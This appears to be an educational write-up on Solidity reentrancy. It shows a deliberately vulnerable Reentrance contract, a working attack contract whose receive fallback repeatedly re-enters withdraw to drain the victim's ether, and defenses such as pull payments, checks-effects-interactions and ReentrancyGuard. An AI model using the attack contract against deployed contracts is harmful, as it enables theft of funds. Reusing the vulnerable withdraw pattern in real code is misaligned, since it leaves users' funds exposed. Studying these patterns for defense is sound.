// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import '@openzeppelin/[email protected]/math/SafeMath.sol';

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IReentrancy {
    function withdraw(uint256 _amount) external;
    function donate(address _to) external payable;
}

contract ReentrancyAttack {
    IReentrancy public reentrancyInterface;

    constructor(address payable victim_) public {
        reentrancyInterface = IReentrancy(victim_);
    }

//1. donate first so that you can get past the withdrawal check
    function donate() public payable {
        require(msg.value >= 0.001 ether, "Need ETH to attack");
        reentrancyInterface.donate{value: msg.value}(address(this));
    }
// 2. then withdraw
    function withdrawAttack() public {
        reentrancyInterface.withdraw(0.001 ether);
    }
// 3. Now  when the withdraw function of victim tries to send the ether, your receive fallback
// will be triggered
// call the withdraw here again until you drain out everything
    receive() external payable {
        uint256 victimBalance = address(reentrancyInterface).balance;
        uint256 withdrawAmount = victimBalance >= 0.001 ether
            ? 0.001 ether
            : victimBalance;
        if (victimBalance > 0) {
            reentrancyInterface.withdraw(withdrawAmount);

        }
    }
}

Guarding against Reentrancy

  1. pull payments instead of push payments

contract PullPayment {
mapping (address => uint) public payments;

// store sent amount as credit to be pulled, called by payer
function asyncSend(address dest, uint amount) internal {
    payments[dest] += amount;
  }
  // withdraw accumulated balance, called by payee
function withdrawPayments() external {
    uint payment = payments[msg.sender];
    payments[msg.sender] = 0;
    if (!msg.sender.send(payment)) {
      payments[msg.sender] = payment;
    }
  }
}
  1. check effects pattern

The Checks-Effects-Interactions pattern ensures that all code paths through a contract complete all required checks of the supplied parameters before modifying the contract’s state (Checks); only then it makes any changes to the state (Effects); it may make calls to functions in other contracts after all planned state changes have been written to storage (Interactions)

 contract Fixed {
     ...
 
     function withdraw() external {
         uint256 amount = balanceOf[msg.sender];
         // reduce balance first
         balanceOf[msg.sender] = 0;
         // then send
         (bool success, ) = msg.sender.call.value(amount)("");
         require(success, "Transfer failed.");
     }
}
  1. ReentrancyGuard

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

  1. transfer and send are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork Source 1 Source 2.
    1. After the Istanbul hard fork, which increased the gas cost of the SLOAD operation and therefore breaks some existing smart contracts. Those contracts will break because their fallback functions used to consume less than 2300 gas, and they’ll now consume more. It’s the amount of gas a contract’s fallback function receives if it’s called via Solidity’s transfer() or send() methods. Any smart contract that uses transfer() or send() is taking a hard dependency on gas costs by forwarding a fixed amount of gas: 2300.